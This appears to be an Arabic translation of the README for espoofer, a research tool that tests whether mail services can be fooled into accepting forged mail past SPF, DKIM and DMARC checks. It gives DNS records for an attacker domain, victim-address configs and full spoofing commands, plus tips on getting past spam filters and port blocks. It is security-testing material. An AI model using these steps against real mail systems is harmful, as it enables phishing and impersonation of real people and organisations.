
أداة اختبار انتحال البريد الإلكتروني تهدف إلى تجاوز SPF/DKIM/DMARC وتزوير توقيعات DKIM.🍻
espoofer هي أداة اختبار مفتوحة المصدر لتجاوز مصادقة SPF و DKIM و DMARC في أنظمة البريد الإلكتروني. تساعد مسؤولي خوادم البريد والمختبرين الاختراقيين في التحقق مما إذا كان خادم البريد الإلكتروني المستهدف والعميل عرضة لهجمات انتحال البريد الإلكتروني أو يمكن إساءة استخدامها لإرسال رسائل انتحال.
الشكل 1. حالة من هجمات الانتحال الخاصة بنا على Gmail (تم الإصلاح، فيديو توضيحي)
انتحال البريد الإلكتروني هو تهديد كبير لكل من الأفراد والمؤسسات (اختراق Yahoo, John podesta). لمعالجة هذه المشكلة، تستخدم خدمات البريد الإلكتروني الحديثة ومواقع الويب بروتوكولات المصادقة -- SPF و DKIM و DMARC -- لمنع تزوير البريد الإلكتروني.
يظهر بحثنا الأخير أن تنفيذ تلك البروتوكولات يعاني من عدد من المشكلات الأمنية التي يمكن استغلالها لتجاوز حمايات SPF/DKIM/DMARC. يوضح الشكل 1 إحدى هجمات الانتحال لدينا لتجاوز DKIM و DMARC في Gmail. لمزيد من التفاصيل التقنية، يرجى الاطلاع على محادثة Black Hat USA 2020 (مع فيديو العرض) أو ورقة USENIX Security 2020.
في هذا المستودع، نلخص جميع حالات الاختبار التي وجدناها وندمجها في هذه الأداة لمساعدة المسؤولين وممارسي الأمن في تحديد وتحديد موقع هذه المشكلات الأمنية بسرعة.
Latex version:
@inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
}
نسخة وورد:
Jianjun Chen, Vern Paxson, and Jian Jiang. "التأليف يقتل: دراسة حالة لمصادقة مرسل البريد الإلكتروني." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020.
git clone https://github.com/chenjj/espoofer
sudo pip3 install -r requirements.txt
إصدار Python: Python 3 (>=3.7).
espoofer لها ثلاثة أوضاع عمل: الخادم ('s'، الوضع الافتراضي)، العميل ('c') و يدوي ('m'). في وضع الخادم، تعمل espoofer كخادم بريد لاختبار التحقق في خدمات الاستقبال. في وضع العميل، تعمل espoofer كعميل بريد إلكتروني لاختبار التحقق في خدمات الإرسال. وضع يدوي يستخدم لأغراض التصحيح.

الشكل 2. ثلاثة أنواع من المهاجمين وأوضاع عملهم
لتشغيل espoofer في وضع الخادم، يجب أن يكون لديك: 1) عنوان IP (1.2.3.4) لا يتم حظر المنفذ الصادر 25 من قبل مزود خدمة الإنترنت، و 2) نطاق (attack.com).
attack.comselector._domainkey.attacker.com TXT "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
attack.comattack.com TXT "v=spf1 ip4:1.2.3.4 +all"
config ={
"attacker_site": b"attack.com", # attack.com
"legitimate_site_address": b"[email protected]", # legitimate.com
"victim_address": b"[email protected]", # [email protected]
"case_id": b"server_a1", # server_a1
}
يمكنك سرد والعثور على case_id لجميع حالات الاختبار باستخدام الخيار -l:
python3 espoofer.py -l
python3 espoofer.py
يمكنك تغيير case_id في config.py أو استخدام الخيار -id في سطر الأوامر لاختبار حالات مختلفة:
python3 espoofer.py -id server_a1
لتشغيل espoofer في وضع العميل، يجب أن يكون لديك حساب على خدمات البريد الإلكتروني المستهدفة. يستغل هذا الهجوم فشل بعض خدمات البريد الإلكتروني في إجراء تحقق كافٍ من رسائل البريد الإلكتروني المستلمة من وكلاء المستخدم المحليين (MUAs). على سبيل المثال، يحاول [email protected] انتحال شخصية [email protected].
config ={
"legitimate_site_address": b"[email protected]",
"victim_address": b"[email protected]",
"case_id": b"client_a1",
"client_mode": {
"sending_server": ("smtp.gmail.com", 587), # SMTP sending serve ip and port
"username": b"[email protected]", # Your account username and password
"password": b"your_passward_here",
},
}
يمكنك سرد والعثور على case_id لجميع حالات الاختبار باستخدام الخيار -l:
python3 espoofer.py -l
ملاحظة: يجب أن يكون
sending_serverعنوان خادم إرسال SMTP، وليس عنوان خادم الاستقبال.
python3 espoofer.py -m c
يمكنك تغيير case_id في config.py وتشغيله مرة أخرى، أو يمكنك استخدام الخيار -id في سطر الأوامر:
python3 espoofer.py -m c -id client_a1
إليك مثال على الوضع اليدوي:
python3 espoofer.py -m m -helo attack.com -mfrom <[email protected]> -rcptto <[email protected]> -data raw_msg_here -ip 127.0.0.1 -port 25
نرحب بإرسال طلب سحب (pull request) لتقديم تقرير الخطأ الخاص بك هنا.
يمكنك التحقق من ذلك في رأس Authentication-results في رؤوس الرسائل الخام. إذا أظهر الرأس dmarc=pass، فهذا يعني أن البريد الإلكتروني قد اجتاز مصادقة DMARC. يمكنك مشاهدة بعض مقاطع الفيديو التوضيحية هنا.
هناك عدة أسباب محتملة إذا فشلت في إرسال بريد إلكتروني: 1) يقوم مزود خدمة الإنترنت الخاص بك بحظر رسائل البريد الإلكتروني الصادرة إلى المنفذ 25 لمنع البريد العشوائي. في هذه الحالة، تحتاج إلى طلب الإذن من مزود خدمة الإنترنت؛ 2) عنوان IP موجود في قائمة البريد العشوائي لخدمات البريد الإلكتروني المستهدفة. في كثير من الحالات، يمكنك حل المشكلة هنا، https://www.spamhaus.org/lookup/ ; 3) تتحقق بعض خدمات البريد الإلكتروني من وجود سجل PTR لعنوان IP المرسل، قد تحتاج أيضًا إلى تعيين سجل PTR لتجاوز هذا الفحص؛ 4) لا يمكن للبريد الإلكتروني اجتياز التحقق من التنسيق لخدمة البريد الإلكتروني المستهدفة، قد ترغب في تجربة حالة اختبار مختلفة.
حاليًا، تركز espoofer على تجاوز مصادقة SPF/DKIM/DMARC ولا تهدف إلى تجاوز فلتر البريد العشوائي. ولكن يمكنك محاولة استخدام عنوان IP مرسل موثوق به ونطاق ومحتوى رسالة غير ضار لتجاوز فلتر البريد العشوائي.
في تجاربنا السابقة، تقوم بعض خدمات البريد الإلكتروني بتصفية رسائل البريد الإلكتروني المشبوهة بصمت.
ستحتاج إلى إعداد خادم DNS خاص بك، بدلاً من استخدام خدمات استضافة DNS التابعة لجهات خارجية، نظرًا لأن بعض خدمات استضافة DNS لديها قيود على تعيين الأحرف الخاصة. انظر المشكلة.
نرحب بإضافة المزيد من حالات الاختبار.